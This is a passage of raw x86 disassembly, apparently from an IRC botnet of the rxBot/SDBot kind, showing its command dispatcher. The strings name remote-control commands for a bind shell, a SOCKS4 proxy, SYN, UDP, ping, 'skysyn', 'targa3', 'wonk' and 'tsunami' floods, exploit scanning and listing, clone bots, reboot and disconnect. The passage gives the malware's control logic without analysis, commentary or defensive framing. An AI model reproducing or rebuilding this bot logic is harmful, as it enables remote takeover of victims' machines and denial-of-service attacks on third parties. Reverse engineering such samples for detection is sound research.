		jz	short loc_40230A

loc_4022FE:				; CODE XREF: sub_401ACD+82Aj
		lea	eax, [ebp+var_C4]
		mov	[ebp+var_88], eax

loc_40230A:				; CODE XREF: sub_401ACD+82Fj
		cmp	[ebp+var_84], ebx
		jz	loc_401E94
		inc	[ebp+var_84]
		jz	short loc_402356
		cmp	[ebp+arg_10], ebx
		jz	short loc_402356
		lea	eax, [ebp+var_338]
		push	eax
		call	sub_41AFE0
		push	eax
		lea	eax, [ebp+var_338]
		push	[ebp+var_84]
		push	eax
		call	sub_41BE70
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		add	esi, 4
		mov	[ebp+var_AC], esi
		jmp	short loc_40235C
; ---------------------------------------------------------------------------

loc_402356:				; CODE XREF: sub_401ACD+84Fj
					; sub_401ACD+854j
		mov	esi, [ebp+var_AC]

loc_40235C:				; CODE XREF: sub_401ACD+887j
		mov	edi, [ebp+esi*4+var_90]
		cmp	edi, ebx
		jz	loc_401E94
		push	edi
		push	offset dword_42C910
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	short loc_4023A7
		mov	eax, dword_4CAE58
		mov	eax, off_429164[eax*4]
		cmp	[eax], bl
		jz	short loc_4023A7
		push	eax
		push	ecx
		push	offset dword_42C8F4
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023A7:				; CODE XREF: sub_401ACD+8BCj
					; sub_401ACD+8CCj
		push	edi
		push	offset dword_42C8EC
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40217C
		mov	eax, [ebp+esi*4+var_8C]
		cmp	eax, ebx
		jz	loc_40217C
		mov	ecx, [ebp+var_88]
		cmp	byte ptr [ecx],	23h
		jz	loc_40217C
		push	eax
		push	ecx
		push	offset dword_42C8D4
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4023E6:				; CODE XREF: sub_401ACD+7D5j
					; sub_401ACD+7852j
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42C898
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_4023F7:				; CODE XREF: sub_401ACD+6F9j
		lea	eax, [ebp+var_C4]
		push	eax
		push	[ebp+esi+var_88]
		push	offset unk_42C854

loc_40240A:				; CODE XREF: sub_401ACD+7E29j
					; sub_401ACD+7E90j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_40241E:				; CODE XREF: sub_401ACD+6EDj
		push	[ebp+esi+var_8C]
		push	offset aChat	; "CHAT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40256D
		cmp	[ebp+var_A4], ebx
		jz	loc_402546
		push	1Bh
		call	sub_40B33E
		test	eax, eax
		pop	ecx
		jnz	loc_402535
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2AA8]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_2910],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2AB0],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_2990]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_2908],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2904],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C82C
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Bh
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_290C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2AB0]
		push	ebx
		push	eax
		push	offset byte_415C59
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_290C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	short loc_402524

loc_40250E:				; CODE XREF: sub_401ACD+A55j
		cmp	[ebp+var_2900],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 26904AEh
		nop
		jmp	short loc_40250E
; ---------------------------------------------------------------------------

loc_402524:				; CODE XREF: sub_401ACD+A3Fj
		nop
		call	near ptr 2690DF2h
		push	eax
		push	offset unk_42C7F4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402535:				; CODE XREF: sub_401ACD+982j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C7C4
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402546:				; CODE XREF: sub_401ACD+972j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_42C790
		jmp	loc_4083AD
; ---------------------------------------------------------------------------

loc_402557:				; CODE XREF: sub_401ACD+6D2j
		mov	eax, [ebp+arg_8]
		lea	ecx, [eax+1]
		mov	al, [eax]
		cmp	al, byte_429094
		mov	[edi], ecx
		jnz	loc_401E94

loc_40256D:				; CODE XREF: sub_401ACD+966j
		mov	edi, [edi]
		mov	[ebp+arg_8], edi
		push	edi
		mov	edi, offset aK	; "k"
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		push	[ebp+arg_8]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40985C
		cmp	[ebp+var_A4], ebx
		jnz	short loc_4025BD
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854

loc_4025BD:				; CODE XREF: sub_401ACD+AD4j
		cmp	[ebp+arg_28], ebx
		jnz	loc_409854
		xor	edi, edi
		cmp	dword_42923C, ebx
		jle	loc_402772
		mov	[ebp+arg_20], offset dword_43D160

loc_4025DB:				; CODE XREF: sub_401ACD+B2Dj
		push	[ebp+arg_8]
		push	[ebp+arg_20]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402601
		add	[ebp+arg_20], 0B8h
		inc	edi
		cmp	edi, dword_42923C
		jl	short loc_4025DB
		jmp	loc_402772
; ---------------------------------------------------------------------------

loc_402601:				; CODE XREF: sub_401ACD+B1Dj
		push	offset asc_42CA64 ; " :"
		push	[ebp+arg_0]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		mov	cl, byte_429094
		imul	edi, 0B8h
		mov	[eax+2], cl
		mov	cl, byte_429094
		mov	[eax+3], cl
		lea	ecx, dword_43D178[edi]
		push	9Fh
		add	eax, 4
		push	ecx
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+esi+var_50]
		add	esp, 0Ch
		mov	[ebp+arg_20], 0Fh
		mov	[ebp+arg_C], eax

loc_402656:				; CODE XREF: sub_401ACD+C3Aj
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_1	; "$%d-"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_4026C2
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jz	short loc_4026C2
		lea	eax, dword_43D160[edi]
		push	eax
		call	sub_41AFE0
		add	[ebp+var_C], eax
		pop	ecx
		jz	short loc_4026FD
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax-4]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4026FD
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch
		jmp	short loc_4026FD
; ---------------------------------------------------------------------------

loc_4026C2:				; CODE XREF: sub_401ACD+BB1j
					; sub_401ACD+BB8j
		mov	eax, [ebp+arg_C]
		cmp	[eax], ebx
		jnz	short loc_4026FD
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		mov	[ebp+var_92], bl
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 18h

loc_4026FD:				; CODE XREF: sub_401ACD+BCAj
					; sub_401ACD+BDEj ...
		dec	[ebp+arg_20]
		sub	[ebp+arg_C], 4
		cmp	[ebp+arg_20], ebx
		jg	loc_402656
		lea	eax, [ebp+esi+var_50]
		mov	[ebp+arg_20], 10h
		mov	edi, eax

loc_40271A:				; CODE XREF: sub_401ACD+C99j
		push	[ebp+arg_20]
		lea	eax, [ebp+var_A0]
		push	offset aD_0	; "$%d"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h
		test	eax, eax
		jz	short loc_40275D
		mov	eax, [edi]
		cmp	eax, ebx
		jz	short loc_40275D
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		add	esp, 0Ch

loc_40275D:				; CODE XREF: sub_401ACD+C75j
					; sub_401ACD+C7Bj
		dec	[ebp+arg_20]
		sub	edi, 4
		cmp	[ebp+arg_20], ebx
		jg	short loc_40271A
		mov	[ebp+var_2C8], 1

loc_402772:				; CODE XREF: sub_401ACD+B01j
					; sub_401ACD+B2Fj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, byte_429094
		jz	short loc_40278B
		cmp	[ebp+var_2C8], ebx
		jz	loc_40297C

loc_40278B:				; CODE XREF: sub_401ACD+CB0j
		push	[ebp+arg_10]
		mov	edi, [ebp+arg_0]
		push	offset aMe	; "$me"
		push	edi
		call	sub_417EEE
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aUser_0	; "$user"
		push	edi
		call	sub_417EEE
		push	[ebp+var_88]
		push	offset aChan	; "$chan"
		push	edi
		call	sub_417EEE
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		push	eax
		push	offset aRndnick_0 ; "$rndnick"
		push	edi
		call	sub_417EEE
		add	esp, 40h
		push	[ebp+arg_14]
		push	offset aServer_1 ; "$server"
		push	edi
		call	sub_417EEE
		mov	edi, offset aChr ; "$chr("
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 14h

loc_4027FD:				; CODE XREF: sub_401ACD+E28j
		test	eax, eax
		jz	loc_4028FA
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		mov	[ebp+arg_10], eax
		add	eax, 5
		push	4
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_A0]
		push	offset asc_42C74C ; ")"
		push	eax
		call	sub_41C0F4
		add	esp, 1Ch
		cmp	[ebp+var_A0], 30h
		jl	short loc_402849
		cmp	[ebp+var_A0], 39h
		jle	short loc_40285F

loc_402849:				; CODE XREF: sub_401ACD+D71j
		push	3
		lea	eax, [ebp+var_A0]
		push	offset a63	; "63"
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch

loc_40285F:				; CODE XREF: sub_401ACD+D7Aj
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	short loc_402885
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41B779
		pop	ecx
		mov	[ebp+var_94], al
		jmp	short loc_402899
; ---------------------------------------------------------------------------

loc_402885:				; CODE XREF: sub_401ACD+DA1j
		call	sub_41B8E2
		push	60h
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 20h
		mov	[ebp+var_94], dl

loc_402899:				; CODE XREF: sub_401ACD+DB6j
		lea	eax, [ebp+var_A0]
		mov	[ebp+var_93], bl
		push	eax
		call	sub_41AFE0
		mov	[ebp+arg_20], eax
		push	0Ch
		lea	eax, [ebp+var_A0]
		push	ebx
		push	eax
		call	sub_41B590
		mov	eax, [ebp+arg_20]
		add	eax, 6
		push	eax
		lea	eax, [ebp+var_A0]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_94]
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		push	[ebp+arg_0]
		call	sub_417EEE
		push	edi
		push	[ebp+arg_0]
		call	sub_41B900
		add	esp, 30h
		jmp	loc_4027FD
; ---------------------------------------------------------------------------

loc_4028FA:				; CODE XREF: sub_401ACD+D32j
		mov	edi, 1FFh
		lea	eax, [ebp+var_4488]
		push	edi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	edi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4AF0]
		push	offset asc_42CA60 ; " "
		push	eax
		call	sub_41C0F4
		add	esp, 20h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+arg_10], 1Fh

loc_40294A:				; CODE XREF: sub_401ACD+E92j
		push	offset asc_42CA60 ; " "
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+arg_10]
		pop	ecx
		jnz	short loc_40294A
		mov	ecx, [ebp+esi+var_90]
		lea	eax, [ebp+esi+var_90]
		cmp	ecx, ebx
		jz	loc_401E94
		add	ecx, 3
		mov	[eax], ecx

loc_40297C:				; CODE XREF: sub_401ACD+CB8j
		mov	edi, [ebp+esi+var_90]
		push	edi
		push	offset aRndnick	; "rndnick"
		mov	[ebp+arg_8], edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aRn	; "rn"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409802
		push	edi
		push	offset aDie	; "die"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aD	; "d"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4049FC
		push	edi
		push	offset aLogout	; "logout"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aLo	; "lo"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404954
		push	edi
		push	offset aVersion	; "version"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aVer	; "ver"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404945
		push	edi
		push	offset aDedication ; "dedication"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aDed	; "ded"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40493B
		push	edi
		push	offset aSpeedtest ; "speedtest"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSt	; "st"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404922
		push	edi
		push	offset aSecure	; "secure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aSec	; "sec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsecure ; "unsecure"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aUnsec	; "unsec"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404824
		push	edi
		push	offset aBindshell ; "bindshell"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBd	; "bd"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40471E
		push	edi
		push	offset aBindshellstop ;	"bindshellstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B40
		push	[ebp+esi+var_8C]
		push	6
		push	offset aServer_0 ; "Server"
		push	offset dword_42C6A0

loc_402B24:				; CODE XREF: sub_401ACD+10C1j
					; sub_401ACD+10E7j ...
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40B384
		add	esp, 20h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402B40:				; CODE XREF: sub_401ACD+1042j
		push	edi
		push	offset aSocks4	; "socks4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aS4	; "s4"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045FC
		push	edi
		push	offset aSocks4stop ; "socks4stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402B90
		push	[ebp+esi+var_8C]
		push	19h
		push	offset aServer_0 ; "Server"
		push	offset dword_42C678
		jmp	short loc_402B24
; ---------------------------------------------------------------------------

loc_402B90:				; CODE XREF: sub_401ACD+10ACj
		push	edi
		push	offset aRloginstop ; "rloginstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BB9
		push	[ebp+esi+var_8C]
		push	9
		push	offset aServer_0 ; "Server"
		push	offset dword_42C65C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BB9:				; CODE XREF: sub_401ACD+10D2j
		push	edi
		push	offset aHttpstop ; "httpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402BE2
		push	[ebp+esi+var_8C]
		push	3
		push	offset aServer_0 ; "Server"
		push	offset dword_42C640
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402BE2:				; CODE XREF: sub_401ACD+10FBj
		push	edi
		push	offset aLogstop	; "logstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C0B
		push	[ebp+esi+var_8C]
		push	25h
		push	offset dword_42C62C
		push	offset dword_42C620
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C0B:				; CODE XREF: sub_401ACD+1124j
		push	edi
		push	offset aRedirectstop ; "redirectstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C34
		push	[ebp+esi+var_8C]
		push	18h
		push	offset dword_42C600
		push	offset dword_42C5F0
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C34:				; CODE XREF: sub_401ACD+114Dj
		push	edi
		push	offset dword_42C5E4
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C5D
		push	[ebp+esi+var_8C]
		push	0Dh
		push	offset dword_42C5D8
		push	offset dword_42C5CC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C5D:				; CODE XREF: sub_401ACD+1176j
		push	edi
		push	offset aSynstop	; "synstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402C86
		push	[ebp+esi+var_8C]
		push	0Eh
		push	offset dword_42C5B8
		push	offset dword_42C5AC
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402C86:				; CODE XREF: sub_401ACD+119Fj
		push	edi
		push	offset aSkysynstop ; "skysynstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CAF
		push	[ebp+esi+var_8C]
		push	10h
		push	offset dword_42C590
		push	offset dword_42C580
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CAF:				; CODE XREF: sub_401ACD+11C8j
		push	edi
		push	offset aTarga3stop ; "targa3stop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402CD8
		push	[ebp+esi+var_8C]
		push	11h
		push	offset dword_42C564
		push	offset dword_42C554
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402CD8:				; CODE XREF: sub_401ACD+11F1j
		push	edi
		push	offset aWonkstop ; "wonkstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402D01
		push	[ebp+esi+var_8C]
		push	12h
		push	offset dword_42C53C
		push	offset dword_42C530
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402D01:				; CODE XREF: sub_401ACD+121Aj
		push	edi
		push	offset aPacketstop ; "packetstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402E57
		mov	esi, [ebp+esi+var_8C]
		mov	edi, [ebp+arg_4]
		push	esi
		push	0Dh
		push	offset dword_42C5D8
		push	offset dword_42C5CC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	0Eh
		push	offset dword_42C5B8
		push	offset dword_42C5AC
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	17h
		push	offset dword_42C518
		push	offset dword_42C50C
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	16h
		push	offset dword_42C500
		push	offset dword_42C4F4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	11h
		push	offset dword_42C564
		push	offset dword_42C554
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	12h
		push	offset dword_42C53C
		push	offset dword_42C530
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	0Fh
		push	offset dword_42C4E4
		push	offset dword_42C4D4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	esi
		push	13h
		push	offset dword_42C4C4
		push	offset dword_42C4B4
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		add	esp, 40h
		push	esi
		push	10h
		push	offset dword_42C590
		push	offset dword_42C580
		push	1
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	edi
		call	sub_40B384
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42C480
		push	[ebp+var_88]
		push	edi
		call	sub_409A72
		add	esp, 34h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402E57:				; CODE XREF: sub_401ACD+1243j
		push	edi
		push	offset aTsunamistop ; "tsunamistop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402E80
		push	[ebp+esi+var_8C]
		push	0Fh
		push	offset dword_42C4E4
		push	offset dword_42C4D4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402E80:				; CODE XREF: sub_401ACD+1399j
		push	edi
		push	offset aWisdomstop ; "wisdomstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EA9
		push	[ebp+esi+var_8C]
		push	13h
		push	offset dword_42C4C4
		push	offset dword_42C4B4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EA9:				; CODE XREF: sub_401ACD+13C2j
		push	edi
		push	offset aUdpstop	; "udpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402ED2
		push	[ebp+esi+var_8C]
		push	17h
		push	offset dword_42C518
		push	offset dword_42C50C
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402ED2:				; CODE XREF: sub_401ACD+13EBj
		push	edi
		push	offset aPingstop ; "pingstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402EFB
		push	[ebp+esi+var_8C]
		push	16h
		push	offset dword_42C500
		push	offset dword_42C4F4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402EFB:				; CODE XREF: sub_401ACD+1414j
		push	edi
		push	offset aTftpstop ; "tftpstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402F24
		push	[ebp+esi+var_8C]
		push	5
		push	offset aServer_0 ; "Server"
		push	offset dword_42C438
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402F24:				; CODE XREF: sub_401ACD+143Dj
		push	edi
		push	offset aFindfilestop ; "findfilestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aFfstop	; "ffstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045E4
		push	edi
		push	offset aProcsstop ; "procsstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aPsstop	; "psstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045CC
		push	edi
		push	offset aClonestop ; "clonestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FA1
		push	[ebp+esi+var_8C]
		push	1Fh
		push	offset aClone	; "Clone"
		push	offset dword_42C3E8
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FA1:				; CODE XREF: sub_401ACD+14BAj
		push	edi
		push	offset aSecurestop ; "securestop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FCA
		push	[ebp+esi+var_8C]
		push	22h
		push	offset aSecure_0 ; "Secure"
		push	offset dword_42C3C4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FCA:				; CODE XREF: sub_401ACD+14E3j
		push	edi
		push	offset aScanstop ; "scanstop"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_402FF3
		push	[ebp+esi+var_8C]
		push	0Bh
		push	offset aScan_0	; "Scan"
		push	offset dword_42C3A4
		jmp	loc_402B24
; ---------------------------------------------------------------------------

loc_402FF3:				; CODE XREF: sub_401ACD+150Cj
		push	edi
		push	offset aScanstats ; "scanstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aStats	; "stats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045B6
		push	edi
		push	offset aTransferstats ;	"transferstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aTrstats	; "trstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4045A0
		push	edi
		push	offset aConnectbacksta ; "connectbackstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aCbstats	; "cbstats"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40458A
		push	edi
		push	offset aExploitlist ; "exploitlist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aExplist	; "explist"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404574
		push	edi
		push	offset aReconnect ; "reconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aR	; "r"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404555
		push	edi
		push	offset aDisconnect ; "disconnect"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aDc	; "dc"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404533
		push	edi
		push	offset aQuit_0	; "quit"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aQ	; "q"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044EB
		push	edi
		push	offset aStatus	; "status"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aS_0	; "s"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044D7
		push	edi
		push	offset aId	; "id"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aI	; "i"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4044A0
		push	edi
		push	offset aReboot	; "reboot"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4031BF
		call	sub_418337
		test	eax, eax
		mov	eax, offset unk_42C2E0
		jnz	short loc_403191
		mov	eax, offset unk_42C2B8

loc_403191:				; CODE XREF: sub_401ACD+16BDj
		push	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 1Ch
		jmp	loc_4083BC
; ---------------------------------------------------------------------------

loc_4031BF:				; CODE XREF: sub_401ACD+16AFj
		push	edi
		push	offset aThreads	; "threads"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
		push	edi
		push	offset aT	; "t"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4043C1
